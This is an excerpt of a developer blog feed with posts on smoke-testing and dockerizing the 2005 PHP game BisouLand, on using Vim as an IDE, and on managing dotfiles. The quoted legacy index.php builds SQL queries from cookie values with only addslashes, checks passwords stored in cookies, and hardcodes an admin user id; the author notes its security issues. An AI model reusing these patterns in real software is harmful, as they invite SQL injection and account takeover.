 ✔ it loads change·password page (`/changepass.html`) for logged in players
 ✔ it loads techniques page (`/techno.html`) for logged in players
 ✔ it loads account page (`/connected.html`) for logged in players
 ✔ it loads reference page (`/infos.html`) for logged in players
 ✔ it loads inbox page (`/boite.html`) for logged in players
 ✔ it loads kisses page (`/bisous.html`) for logged in players
 ✔ it loads organs page (`/construction.html`) for logged in players
 ✔ it loads clouds page (`/nuage.html`) for logged in players
 ✔ it loads blow·kisses page (`/action.html`) for logged in players

OK (24 tests, 24 assertions)
</code></pre>

<blockquote>
  <p><em>🔗 Check</em>: <a href="/2025/07/31/phpunit-best-practices.html">PHPUnit Best Practices</a></p>
</blockquote>

<p>The test is structured as follow:</p>

<ol>
<li>get an instance of HttpClient through TestKernelSingleton</li>
<li>optionally run some setup scenario such as <code>SignUpNewPlayer</code>, <code>LogInPlayer</code>, etc</li>
<li>send the remote request, and get the HTTP response</li>
<li>check that the HTTP Response satisfies our expectations</li>
</ol>

<h2 id="custom-assertions">Custom Assertions</h2>

<p>To be able to see if a page is blocked for a non logged in visitor,
we cannot just rely on the HTTP Status (it will always be 200),
so we have to instead check for error messages contained in the page.</p>

<p>Through my search, I've discovered that various messages get displayed when a
logged out visitor tries to access a private page,
I've documented this in the following custom assertion:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace Bl\Qa\Tests\Smoke\Assertion;

use PHPUnit\Framework\Assert as PHPUnitAssert;
use Symfony\Contracts\HttpClient\ResponseInterface;

final readonly class Assert
{
    private const array NOT_LOGGED_IN_MESSAGES = [
        // Warning: side bar contains `Tu n'es pas connect&amp;eacute;.`
        'standard' =&gt; 'es pas connecté !!',
        'variant 1 (inbox)' =&gt; 'es pas connect&amp;eacute; !!',
        'variant 2 (kisses, organs, techniques, account)' =&gt; 'Veuillez vous connecter.',
        'variant 3 (reference)' =&gt; 'Erreur... et vouaip !! :D',
    ];

    public static function blocksPageForLoggedOutVisitors(ResponseInterface $response): void
    {
        $content = (string) $response-&gt;getContent();

        foreach (self::NOT_LOGGED_IN_MESSAGES as $message) {
            if (str_contains($content, $message)) {
                PHPUnitAssert::assertSame(200, $response-&gt;getStatusCode(), $content);

                return;
            }
        }

        PHPUnitAssert::fail('Failed asserting that Page is blocked for logged out visitors');
    }

    public static function loadsPageForLoggedInPlayers(ResponseInterface $response): void
    {
        $content = (string) $response-&gt;getContent();

        foreach (self::NOT_LOGGED_IN_MESSAGES as $message) {
            if (str_contains($content, $message)) {
                PHPUnitAssert::fail('Failed asserting that Page loads for logged in players');
            }
        }

        PHPUnitAssert::assertSame(200, $response-&gt;getStatusCode(), $content);
    }
}
</code></pre>

<h2 id="scenarios">Scenarios</h2>

<p>For some of our tests, we need to have a visitor to first sign up as a player,
which I've done through the following "Scenario" class:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace Bl\Qa\Tests\Infrastructure\Scenario;

use Bl\Qa\Tests\Infrastructure\TestKernelSingleton;

final readonly class SignUpNewPlayer
{
    public static function run(
        string $username = 'BisouTest',
        string $password = 'password',
        string $passwordConfirmation = 'password',
    ): Player {
        $httpClient = TestKernelSingleton::get()-&gt;httpClient();

        if ('BisouTest' === $username) {
            $username = substr('BisouTest_'.uniqid(), 0, 15);
        }

        $httpClient-&gt;request('POST', '/inscription.html', [
            'body' =&gt; [
                'Ipseudo' =&gt; $username,
                'Imdp' =&gt; $password,
                'Imdp2' =&gt; $passwordConfirmation,
                'inscription' =&gt; "S'inscrire",
            ],
            'headers' =&gt; [
                'Content-Type' =&gt; 'application/x-www-form-urlencoded',
            ],
        ]);

        return new Player($username, $password);
    }
}
</code></pre>

<p>Here we do an HTTP request that will simulate posting the HTML form,
alternatives for this would have been doing a SQL query to directly
create the player in the database, but we risk missing other insertions
that might be required.</p>

<p>The advantage of the current approach is that it also smoke tests the signup form.</p>

<p>We also need the player to be logged in:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace Bl\Qa\Tests\Infrastructure\Scenario;

use Bl\Qa\Tests\Infrastructure\TestKernelSingleton;
use Symfony\Component\HttpClient\Exception\RedirectionException;

final readonly class LogInPlayer
{
    public static function run(Player $player): string
    {
        $httpClient = TestKernelSingleton::get()-&gt;httpClient();

        try {
            $response = $httpClient-&gt;request('POST', '/redirect.php', [
                'body' =&gt; [
                    'pseudo' =&gt; $player-&gt;username,
                    'mdp' =&gt; $player-&gt;password,
                    'connexion' =&gt; 'Se connecter',
                ],
                'headers' =&gt; [
                    'Content-Type' =&gt; 'application/x-www-form-urlencoded',
                ],
                'max_redirects' =&gt; 0,
            ]);
        } catch (RedirectionException $e) { // @phpstan-ignore catch.neverThrown
            // With max_redirects=0, HttpClient throws an exception when we get a 302
            // This is expected on successful login
            $response = $e-&gt;getResponse();
        }

        $headers = $response-&gt;getHeaders(false);
        $cookies = $headers['set-cookie'] ?? $headers['Set-Cookie'] ?? [];
        foreach ($cookies as $cookie) {
            if (str_starts_with($cookie, 'PHPSESSID=')) {
                return $cookie;
            }
        }

        $content = $response-&gt;getContent(false);
        $allCookies = implode(', ', $cookies);

        throw new \RuntimeException("Login failed: PHPSESSID cookie not found. Cookies: [{$allCookies}], Content: {$content}");
    }
}
</code></pre>

<p>Similarly to the <code>SignUpNewPlayer</code> scenario,
<code>LogInPlayer</code> posts a HTTP request that simulates the log in form.</p>

<p>To be abe to then act as the logged in player, we need their Session Cookie string,
so we make sure to return it.</p>

<p>Finally the <code>GetLoggedInPlayer</code> scenario will sign up and login a player once,
and always return it to save us some overhead in the test suite:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace Bl\Qa\Tests\Infrastructure\Scenario;

final class GetLoggedInPlayer
{
    private static ?LoggedInPlayer $loggedInPlayer = null;

    public static function run(): LoggedInPlayer
    {
        if (null === self::$loggedInPlayer) {
            $player = SignUpNewPlayer::run();
            $sessionCookie = LogInPlayer::run($player);

            self::$loggedInPlayer = new LoggedInPlayer($player-&gt;username, $player-&gt;password, $sessionCookie);
        }

        return self::$loggedInPlayer;
    }
}
</code></pre>

<p>These scenarios will come in handy when we start writing other kinds of tests.</p>

<h2 id="conclusion">Conclusion</h2>

<blockquote>
  <p>💻 <strong>Source code</strong>:</p>
  
  <ul>
  <li><a href="https://github.com/pyricau/bisouland/tree/4.0.5">Before our changes</a></li>
  <li><a href="https://github.com/pyricau/bisouland/tree/4.0.6">After Smoke Tests</a></li>
  </ul>
</blockquote>

<p>Now we can type:</p>

<pre><code class="console">make test arg='--testdox --filter PlayerPages'
</code></pre>

<p>And get the list of all public and private pages.</p>

<blockquote>
  <p>⁉️ <em>What do you mean, "tests are failing"??</em></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[eXtreme Legacy 1: Dockerizing a 2005 LAMP app]]></title>
            <link href="/2025/09/10/xl-1-dockerizing-2005-lamp-app.html"/>
            <updated>2025-09-10T00:00:00+01:00</updated>
            <id>/2025/09/10/xl-1-dockerizing-2005-lamp-app.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p>🤘 From the abyssal depths of forgotten servers,
  Docker the Void-Walker awakens to drag ancient LAMP stack from their tombs,
  wrapping them in the obsidian chains of containerization! 🔥</p>
</blockquote>

<p>Back in 2005, I learned how to write Linux/Apache/MySQL/PHP websites thanks
to the Site du Zero (SdZ), which is now known as <a href="https://openclassrooms.com/en/">Open Classrooms</a>.</p>

<p>I also used to play a web-browser game, similar to <a href="https://fr.wikipedia.org/wiki/OGame">OGame</a>,
called BisouLand (SkySwoon). Turns out its creator also built it through SdZ tutorials!</p>

<p>Fast forward 20 years later (today),
I received a message on LinkedIn from a CTO asking me the following:</p>

<blockquote>
  <p>💬 "Are you willing to work with <strong>eXtreme Legacy</strong> code on occasion?"</p>
</blockquote>

<p>I wondered to myself: what is eXtreme Legacy code? And I immediately remembered BisouLand.</p>

<p>You see, back in 2011,
its creator had made it Open Source on github and made me code collaborator...</p>

<p>So I <em>do</em> have access to a 2005 LAMP stack website,
cobbled together by someone learning stuff on the go from the internet.</p>

<p>What would it take, in 2025, to get an eXtreme Legacy app up and running?</p>

<p>This is what we're going to find out in this series.</p>

<p>Today's first article is about getting it to run, at least locally.</p>

<ul>
<li><a href="#the-project">The Project</a></li>
<li><a href="#containerization">Containerisation</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="the-project">The Project</h2>

<p>The <a href="https://github.com/pyricau/bisouland/tree/v1">version 1</a> has the following tree directory:</p>

<pre><code>web/
├── .htaccess
├── checkConnect.php
├── deconnexion.php
├── favicon.ico
├── images/
├── includes/
│   ├── bisouStyle2.css
│   ├── compteur.js
│   ├── newbisouStyle2.css
│   └── prev.js
├── index.php
├── phpincludes/
│   ├── accueil.php
│   ├── action.php
│   ├── aide.php
│   ├── attaque.php
│   ├── bd.php
│   ├── bisous.php
│   ├── confirmation.php
│   ├── connected.php
│   ├── connexion.php
│   ├── erreur404.php
│   ├── evo.php
│   ├── fctIndex.php
│   ├── nuage.php
│   ├── ...
│   ├── pages.php
│   └── yeux.php
└── redirect.php
</code></pre>

<p>The <code>.htaccess</code> file contains URL rewrite rules for Apache:</p>

<pre><code>RewriteEngine on
RewriteRule (.+)\.confirmation\.html$ /index.php?page=confirmation&amp;id=$1
RewriteRule (.+)\.bisous\.html$ /index.php?page=bisous&amp;cancel=$1
RewriteRule (.+)\.(.+)\.nuage\.html$ /index.php?page=nuage&amp;saut=1&amp;sautnuage=$1&amp;sautposition=$2
RewriteRule (.+)\.nuage\.html$ /index.php?page=nuage&amp;nuage=$1
RewriteRule (.+)\.(.+)\.action\.html$ /index.php?page=action&amp;nuage=$1&amp;position=$2
RewriteRule (.+)\.(.+)\.yeux\.html$ /index.php?page=yeux&amp;Dnuage=$1&amp;Dpos=$2
RewriteRule (.+)\.html$ /index.php?page=$1
ErrorDocument 404 /erreur404.html
</code></pre>

<p>There are no Database schema, but a quick scan at the files will reveal the use
of MySQL, for example <code>web/phpincludes/bd.php</code>:</p>

<pre><code class="php">&lt;?php

function bd_connect() {
        mysql_pconnect("HOST", "USER", "PASSWORD");
        mysql_select_db("DATABASE");
}
</code></pre>

<p>As for the code architecture, the file <code>web/index.php</code> acts as a
front controller that displays the layout of the website, and then includes
a file from <code>web/phpincludes/</code> for the actual page content.</p>

<p>The HTML is mixed with the MySQL queries, session managemenet, game logic
and any other PHP code. Code and comments are written in French, and there are
several encoding issues.</p>

<p>Here's an extract from <code>web/index.php</code>:</p>

<pre><code class="php">&lt;?php

header('Content-type: text/html; charset=ISO-8859-1'); 

session_start();
ob_start();
include 'phpincludes/bd.php';
bd_connect();
include('phpincludes/fctIndex.php');

//Si la variable $_SESSION['logged'] n'existe pas, on la créée, et on l'initialise a false
if (!isset($_SESSION['logged'])) $_SESSION['logged'] = false;

//Si on est pas connecté.
if ($_SESSION['logged'] == false)
{
  $id=0;
  //On récupère les cookies enregistrés chez l'utilisateurs, s'ils sont la.
  if (isset($_COOKIE['pseudo']) &amp;&amp; isset($_COOKIE['mdp']))
  {
    $pseudo = htmlentities(addslashes($_COOKIE['pseudo']));
    $mdp = htmlentities(addslashes($_COOKIE['mdp']));
    //La requête qui compte le nombre de pseudos
    $sql = mysql_query("SELECT COUNT(*) AS nb_pseudo FROM membres WHERE pseudo='".$pseudo."'");
    if (mysql_result($sql,0,'nb_pseudo') != 0)
    {
      //Sélection des informations.
      $sql_info = mysql_query("SELECT id, confirmation, mdp, nuage FROM membres WHERE pseudo='".$pseudo."'");
      $donnees_info = mysql_fetch_assoc($sql_info);
      //Si le mot de passe est le même (le mot de passe est déjà crypté).
      if ($donnees_info['mdp'] == $mdp)
      {
        //Si le compte est confirmé.
        if ($donnees_info['confirmation'] == 1)
        {
          //On modifie la variable qui nous indique que le membre est connecté.
          $_SESSION['logged'] = true;
          $page='cerveau';
        }
      }
    }
  }
}

if ($_SESSION['logged'] == true)
{
  //l'id du membre.
  $id=$_SESSION['id'];

  //Fonction destinée à l'administration
  if (isset($_POST['UnAct']) &amp;&amp; $id==12)
  {
    actionAdmin();
  }

  $sql_info = mysql_query(
    "SELECT timestamp, coeur, bouche, amour, jambes, smack, baiser, pelle, tech1, tech2, tech3, tech4, dent, langue, bloque, soupe, oeil"
    ." FROM membres WHERE id='".$id."'"
  );
  $donnees_info = mysql_fetch_assoc($sql_info);
  //On récupère le nombre de points d'amour.
  $amour = $donnees_info['amour'];
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /&gt; 
  &lt;link rel="stylesheet" media="screen" type="text/css" title="bisouStyle2" href="includes/bisouStyle2.css" /&gt; 
  &lt;link rel="shorcut icon" href="http://bisouland.piwai.info/favicon.ico"/&gt;
  &lt;meta http-equiv="Content-Language" content="fr" /&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;div id="speedbarre"&gt;
  &lt;?php if ($_SESSION['logged'] == true)
    {?&gt;
      &lt;?php echo formaterNombre(floor($amour)); ?&gt;
    &lt;?php
    }
    else
    {
    ?&gt;
    &lt;a href="connexion.html"&gt;Connexion&lt;/a&gt;
    &lt;?php } ?&gt;
  &lt;/div&gt;

  &lt;div id="corps"&gt;
    &lt;?php
    include('phpincludes/pages.php');
    if (isset($array_pages[$page]))
    {
      include('phpincludes/'.$array_pages[$page]);
    }
    else
    {
      include('phpincludes/erreur404.php');
    }
    ?&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>😵</p>

<p>In addition to the spaghetti code, we can immediately spot security issues.
But we cannot fix anything until we can manually test the website,
so how do we get it to run?</p>

<h2 id="containerisation">Containerisation</h2>

<p>Back in 2005, the most common versions of the LAMP stack were:</p>

<ul>
<li>Apache: 2</li>
<li>MySQL: MySQL 4.0 - 5.0</li>
<li>PHP 4.3 - 5.1</li>
</ul>

<p>Applications written for MySQL 4.0 and PHP 4.3 can be run up to MySQL 5.7
and PHP 5.6. Some deprecation notices would be issued, but in terms of backward
compatibility that's how far we can stretch things.</p>

<p>So let's create a <code>Dockerfile</code> that will have Apache 2, PHP 5.6 and MySQL 5.7:</p>

<pre><code># syntax=docker/dockerfile:1

FROM php:5.6-apache

# Update sources.list to use archive repositories for Debian Stretch
RUN sed -i 's/deb.debian.org/archive.debian.org/g' /etc/apt/sources.list \
    &amp;&amp; sed -i 's/security.debian.org/archive.debian.org/g' /etc/apt/sources.list \
    &amp;&amp; sed -i '/stretch-updates/d' /etc/apt/sources.list

# Install system dependencies and PHP extensions in single layer
RUN docker-php-ext-install mysql \
    &amp;&amp; a2enmod rewrite

# Set working directory
WORKDIR /var/www/html

# Copy application files with proper ownership
COPY --chown=www-data:www-data web/ /var/www/html/
</code></pre>

<p>With the following <code>compose.yaml</code>, we'll set up the Apache and MySQL servers:</p>

<pre><code class="yaml">name: skyswoon-monolith

services:
  web:
    build: .
    ports:
      - "8080:80"
    volumes:
      - ./web:/var/www/html
    depends_on:
      - db
    environment:
      DATABASE_HOST: ${DATABASE_HOST}
      DATABASE_USER: ${DATABASE_USER}
      DATABASE_PASSWORD: ${DATABASE_PASSWORD}
      DATABASE_NAME: ${DATABASE_NAME}
    restart: unless-stopped

  db:
    image: mysql:5.7
    platform: linux/amd64
    environment:
      MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
      MYSQL_DATABASE: ${DATABASE_NAME}
      MYSQL_USER: ${DATABASE_USER}
      MYSQL_PASSWORD: ${DATABASE_PASSWORD}
    volumes:
      - mysql_data:/var/lib/mysql
    ports:
      - "127.0.0.1:3306:3306"
    restart: unless-stopped

volumes:
  mysql_data:
</code></pre>

<p>You might notice that I've mentioned some environment variables,
to configure the database. These will need to be set in a <code>.env</code> file:</p>

<pre><code># Database
DATABASE_HOST=db
DATABASE_USER=database_user
DATABASE_PASSWORD=database_password
DATABASE_NAME=database_name
# MySQL root password (for Docker)
MYSQL_ROOT_PASSWORD=mysql_root_password
</code></pre>

<p>When the <code>docker compose up</code> is run,
Docker Composer automatically reads from <code>.env</code> and sets the environment variable,
then PHP will copy these into the <code>$_ENV</code> array super global,
so we can get the values like so in <code>web/phpincludes/bd.php</code>:</p>

<pre><code class="php">&lt;?php

function bd_connect()
{
    mysql_pconnect(
        $_ENV['DATABASE_HOST'],
        $_ENV['DATABASE_USER'],
        $_ENV['DATABASE_PASSWORD'],
    );
    mysql_select_db($_ENV['DATABASE_NAME']);
}
</code></pre>

<p>Last but not least, I'm adding a <code>Makefile</code>, to avoid having to type long
<code>docker compose build; docker compose up</code> commands: <a href="https://github.com/pyricau/bisouland/blob/b31597c47a49e0dd2b87fbd55bd608530f81efec/Makefile">see file in github</a>.</p>

<blockquote>
  <p><strong>Super Secret Tip</strong>:
  I've written about <a href="/2025/08/06/my-symfony-dockerfile.html">My Symfony Dockerfile</a>,
  and <a href="/2025/08/06/my-symfony-makefile.html">My Symfony Makefile</a>.</p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<blockquote>
  <p>💻 <strong>Source code</strong>:</p>
  
  <ul>
  <li><a href="https://github.com/pyricau/bisouland/tree/4.0.0">Before our changes</a></li>
  <li><a href="https://github.com/pyricau/bisouland/tree/4.0.5">After containerisation</a></li>
  </ul>
</blockquote>

<p><img alt="BisouLand screenshot" src="/images/xl-1-bisouland-screenshot.png" width="100%" /></p>

<p>And we did it! now by typing:</p>

<pre><code class="console">make build; make up
</code></pre>

<p>We get BisouLand running live, 20 years after its conception.</p>

<p>You can visit it there: http://localhost:8080/accueil.html.</p>

<blockquote>
  <p>⁉️ <em>What do you mean, "it doesn't work"?? It works on my machine!</em></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[My IDE is Vim]]></title>
            <link href="/2025/09/03/my-ide-is-vim.html"/>
            <updated>2025-09-03T00:00:00+01:00</updated>
            <id>/2025/09/03/my-ide-is-vim.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p>The keyboards leak molten steel, as Vim motions carve runes through silicon,
  the code prostrates itself before the LSP's omniscient eye:</p>
  
  <ul>
  <li>autocomplete rain Valhalla's arrows</li>
  <li>diagnostics burn syntax errors and typos alike</li>
  <li>go-to-definition shatters dimensional barriers like the Bifrost's rainbow bridge</li>
  </ul>
  
  <p>phpactor descends as the shape-shifting overlord who bends variables and
  transmutes classes into monuments of perfect refactors.</p>
  
  <p>XDebug breakpoints become lightning-riders galloping through Vim buffers.</p>
</blockquote>

<p>In this article, I'll discuss why Vim is my favourite IDE
(not test/code editor, no, fully fledged IDE).</p>

<ul>
<li><a href="#my-history-with-ides">My history with IDEs</a></li>
<li><a href="#why-Vim">Why Vim</a></li>
<li><a href="#what-is-an-ide">What is an IDE</a></li>
<li><a href="#vim-motions">Vim Motions</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="my-history-with-ides">My history with IDEs</h2>

<p>I started my programming journey in 2004 on <a href="https://en.wikipedia.org/wiki/Smultron">Smultron</a>,
since I was told the go-to app was Notepad++, but my parents had a mac.</p>

<p>When I migrated to Ubuntu in 2006, I simply switched to Gedit.
I remember learning vi at the time, just to be able to do things while ssh-ing
onto remote servers.</p>

<p>It was at University, in 2008, that I started to use a proper IDE: Emacs,
which was mandatory for all students.
I didn't mind though as I was happy to level up my geekiness,
and by that time I was developing a strong preference for the terminal.</p>

<p>But during my multiple internships and apprenticeships,
I was told that professionals used proper IDEs, and was made to use Eclipse and NetBeans.</p>

<p>I have to say I was never impressed with the lack of responsiveness from these tools.</p>

<p>When I started to work at SensioLabs in 2013, frustrated with how slow these IDEs were,
I switched to Sublime Text.</p>

<p>When I moved to the UK in 2014 and started to work for the startup Constant.Co,
I continued to use Sublime Text, to my colleague's amusement.</p>

<p>In 2015, Adam, who'd become our VP of Engineering, joined and we had a lot of
extremely interesting conversations. One of the many things he told me, which stuck with me,
regarding Text / Code Editors versus IDEs was:</p>

<blockquote>
  <p>It's not the tool that matters, it's how well you learn, understand and use it.</p>
</blockquote>

<p>This is when I decided to drop Sublime Text. And use Vim instead.</p>

<p>Before I talk more about Vim, I want to mention that after joining Telum Media in 2024,
I was made to use PhpStorm as it was mandatory. Same policy when I joined Bumble in 2025.</p>

<h2 id="why-vim">Why Vim</h2>

<p>In terms of preference, the terminal has always taken precedence over
the Graphical User Interface for me, and I tend to favour using the keyboard
(and shortcuts) over the mouse and gestures.</p>

<p>In retrospect, I think there's also a lot of noise that comes with the default
interface of Eclipse, NetBeans and PhpStorm, which I personally find distracting.</p>

<p>So I considered the two options in front of me: Emacs or Vim?
After finding out that Vim motions were supported in other IDEs, I made my choice.</p>

<h2 id="what-is-an-ide">What is an IDE</h2>

<blockquote>
  <p>Why don't you use a proper IDE?</p>
</blockquote>

<p>This is a question I often get when I mention I use Vim.</p>

<p>A "proper" IDE provides:</p>

<ul>
<li>syntax highlighting</li>
<li>autocompletion, documentation</li>
<li>diagnostics (marking errors and warnings)</li>
<li>project navigation with: go to definition, find reference and usage</li>
<li>refactoring actions</li>
</ul>

<p>By integrating Vim with <a href="https://en.wikipedia.org/wiki/Language_Server_Protocol">LSP</a>
we get all the features listed above.</p>

<p>Another important feature of IDEs is:</p>

<ul>
<li>step debugging</li>
</ul>

<p>As it turns out, it's also possible to integrate Vim with those (eg xdebug).</p>

<p>Other integration, that some might add to the list of important things, are:</p>

<ul>
<li>testing (eg phpunit)</li>
<li>version control (eg git)</li>
<li>AI tooling (eg copilot)</li>
</ul>

<p>These are also possible, but personally I much prefer to use directly the tools
for these from the terminal.</p>

<p>So. Can anyone let me know what I'm missing out from Vim, that I'd be getting
from "proper" IDEs?</p>

<h2 id="vim-motions">Vim Motions</h2>

<p>Perhaps the biggest argument in favour of Vim would be the <strong>Motions</strong>:</p>

<ul>
<li><code>h</code>, <code>j</code>, <code>k</code>, <code>l</code>: move one character Left, Down, Up, Right (LDUR)</li>
<li><code>0</code>, <code>^</code>, <code>$</code>: move to the first character of the line, first non whitespace character, last character</li>
<li><code>f{char}</code>, <code>t{char}</code>: move to next occurrence of character in the line, on the character or before it</li>
</ul>

<p>They can be <strong>Composed</strong> with operators:</p>

<ul>
<li><code>d</code>: deleting</li>
<li><code>y</code>: yank, aka copying</li>
<li><code>p</code>: paste</li>
<li><code>c</code>: change</li>
</ul>

<p>For more Precision, <strong>Text Objects</strong> can be used:</p>

<ul>
<li><code>w</code>: a word</li>
<li><code>s</code>: a sentence</li>
<li><code>p</code>: a paragraph</li>
</ul>

<p>Here are a couple of examples:</p>

<ul>
<li><code>dt;</code>: delete, until, character <code>;</code>: to cut everything before the semi colon</li>
<li><code>ci'</code>: change, inside, simple quotes: to replace text inside single quotes
(works with double quote, parenthesis, curly braces, etc)</li>
</ul>

<p>Making one's changes repeatable will unleash even more power:</p>

<ul>
<li><code>d23d</code>: delete 23 lines</li>
<li><code>.</code>: replay previous action</li>
<li><code>qa</code>: register keystrokes in register <code>a</code></li>
<li><code>@a</code>: replay keystrokes from register <code>a</code></li>
</ul>

<p>While there is a lot to learn, I'd say the Vim motions aren't too difficult to
memorize since they are mnemonic as much as possible.</p>

<p>They also have some logic in terms of direction: lowercase is forward
(<code>yf</code>: copy from cursor to next space, space included) and uppercase is backward
(<code>yF</code>: copy from cursor to <em>previous</em> space, space included).</p>

<p>But I can attest that there's a lot to learn, and it's easy to plateau.
I've personally stuck with a small subset of these for a decade,
and have only decided this year (2025) to learn more (macros are AMAZING).</p>

<h2 id="%C2%A0conclusion"> Conclusion</h2>

<p>When I was mandated to use PhpStorm at Telum Media in 2024,
I decided to give it a fair chance and use it exactly as intended.
But I wasn't convinced I gained any efficiency compared to Vim.</p>

<p>When the same requirement came up at Bumble in 2025,
I took a different approach: minimalistic UI, Vim motions enabled
(though support isn't perfect: I experienced issues with macros, for example).</p>

<p>This compromise will likely be my path forward: use Vim when possible,
and configure whatever I'm required to use to feel as Vim-like as possible.</p>

<p>The broader lesson? Unless there's a compelling reason,
forcing developers away from tools they've mastered is counterproductive.</p>

<p>Listen to Adam's wise advice:
Deep knowledge of one's workflow, getting proficient with one's tool
and seeking improvement matters more
than whatever software happen to be the most popular.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[My Dotfiles]]></title>
            <link href="/2025/08/27/my-dotfiles.html"/>
            <updated>2025-08-27T00:00:00+01:00</updated>
            <id>/2025/08/27/my-dotfiles.html</id>
            <content type="html"><![CDATA[<p>Through the storm of scattered settings, your <a href="https://dotfiles.github.io/">dotfiles</a>
emerge as the lightning-born shepherds that bind chaos to your will.</p>

<ul>
<li><a href="#why">Why?</a></li>
<li><a href="#what-are-dotfiles">What are dotfiles?</a></li>
<li><a href="#how-to-manage-them">How to manage them?</a></li>
<li><a href="#my-system">My system</a></li>
<li><a href="#my-framework">My Framework</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="why%3F">Why?</h2>

<p><a href="https://github.com/gnugat/dotfiles">My dotfiles repository</a> is how I backup,
restore and synchronise my shell / system preferences and settings.</p>

<p>I felt the need to do so back in 2014, when I had 3 computers
(personal desktop, personal laptop and work laptop) and wanted to keep the same
config across the different devices.</p>

<p>I now have one single device, yet this has proven very useful over the years,
especially any time I upgraded to a new device.</p>

<p>A decade ago, I tried my best to come up with a system that would:</p>

<ul>
<li>be simple</li>
<li>be flexible</li>
<li>stand the test of time</li>
</ul>

<p>I'm happy to report I was successful in this,
and I was even able to add cross platform compability (macOS) in 2025.</p>

<h2 id="what-are-dotfiles%3F">What are dotfiles?</h2>

<p>The configuration files for most UNIX tools usually start with a dot (<code>.</code>),
hence the name "dot files".</p>

<p>Examples of such files are:</p>

<ul>
<li><code>.bashrc</code>, configuring the bash shell</li>
<li><code>.vimrc</code>, setting up the powerful IDE</li>
<li><code>.gitconfig</code>, instructing git about your personal preferences</li>
</ul>

<h2 id="how-to-manage-them%3F">How to manage them?</h2>

<p>It's only this year that I started researching solutions on how to manage
dotfiles, in order to add support for macOS. There are so many tools:</p>

<ul>
<li><a href="https://www.gnu.org/software/stow/">GNU stow</a>, which symlinks the files from your dotfiles repo
to your home directory</li>
<li><a href="https://www.chezmoi.io/">chezmoi</a>, which adds templates and password manager support</li>
<li><a href="https://yadm.io/">yadm</a>, stands for Yet Another Dotfiles Manager,
is similar to chezmoi but less complex</li>
<li><a href="https://github.com/nix-community/home-manager">Nix home manager</a>,
which makes any changes to your configuration idempotent</li>
</ul>

<p>I got really interested in <a href="https://docs.ansible.com/">Ansible</a>, which promised
to set up my computers in an automated way.</p>

<p>But then I realise the size of the configuration files were way longer than if
I did it in a simple bash script. I also didn't like the idea to have to learn,
and maintain knowledge of yet another tool.</p>

<p>So in the end I decided to stick with what I had set up.
And cross platform compatibility turned out to be a breeze to implement!</p>

<h2 id="my-system">My system</h2>

<p><a href="https://github.com/gnugat/dotfiles">My dotfile repository</a> follows this file tree structure:</p>

<pre><code>.
├── &lt;xy&gt;-&lt;package&gt;/
│   ├── _&lt;package-manager&gt;.sh
│   ├── config/
│   ├── install.sh
│   └── README.md
└── install.sh
</code></pre>

<p>The root <code>install.sh</code> script is just here to iterate through each <strong>package</strong>
sub directories, it'll find the local <code>install.sh</code> there and execute it.</p>

<p>Examples of packages I have there are:</p>

<pre><code>.
├── 12-bash/
├── 13-curl/
├── 14-less/
├── 21-git/
├── 22-php/
├── 23-vim/
├── 24-tree/
└── 25-ack/
</code></pre>

<p>As for an example of what the inside of a package sub directory looks like:</p>

<pre><code>12-bash/
├── _apt.sh
├── _brew.sh
├── config/
│   ├── bashrc
│   ├── prompt.sh
│   └── shopt.sh
├── install.sh
└── README.md
</code></pre>

<p>The role of the package's <code>install.sh</code> script is to:</p>

<ol>
<li>call the appropriate <code>_&lt;package-manager&gt;.sh</code> script (<code>apt</code> for Ubuntu, <code>brew</code> for macOS)</li>
<li>copy / symlink the config from the repo to <code>~/.config</code></li>
<li>execute any additional installation steps (eg install vim plugins, or register Environment Variables, etc)</li>
</ol>

<p>For instance, here's the <code>install.sh</code> for bash:</p>

<pre><code class="bash">#!/usr/bin/env bash
# File: /12-bash/install.sh
# ──────────────────────────────────────────────────────────────────────────────
# 💲 bash - GNU Bourne-Again SHell
# ──────────────────────────────────────────────────────────────────────────────

_SSDF_PACKAGE_DIR="$(dirname "$(readlink -f "${BASH_SOURCE[0]:-$0}")")"
SSDF_ROOT_DIR="$(realpath "${_SSDF_PACKAGE_DIR}/..")"
source "${SSDF_ROOT_DIR}/00-_ssdf/functions.sh"

_SSDF_PACKAGE_NAME="bash"

_ssdf_echo_section_title "Installing ${_SSDF_PACKAGE_NAME}..."

## ─────────────────────────────────────────────────────────────────────────────
## 📦 Call to `./_&lt;package-manager&gt;.sh` script.
## ─────────────────────────────────────────────────────────────────────────────

_ssdf_select_package_manager
_ssdf_install_with_package_manager "${_SSDF_PACKAGE_DIR}" "${SSDF_PACKAGE_MANAGER}"

## ─────────────────────────────────────────────────────────────────────────────
## 🔗 Symbolic links.
## ─────────────────────────────────────────────────────────────────────────────

mkdir -p "${HOME}/.config/bash"
cp -i "${_SSDF_PACKAGE_DIR}/config/bashrc" "${HOME}/.bashrc"
ln -nsf "${_SSDF_PACKAGE_DIR}/config/prompt.sh" "${HOME}/.config/bash/prompt.sh"
ln -nsf "${_SSDF_PACKAGE_DIR}/config/shopt.sh" "${HOME}/.config/bash/shopt.sh"

## ─────────────────────────────────────────────────────────────────────────────
## ➕ Additional config / install
## ─────────────────────────────────────────────────────────────────────────────

if [ -e "${HOME}/.bashrc" ]; then
    _ssdf_append_source \
        "${HOME}/.bashrc" \
        "${HOME}/.config/shell/common.sh"
    _ssdf_append_source \
        "${HOME}/.config/shell/prompt.local.sh" \
        "${HOME}/.config/bash/prompt.sh"
fi

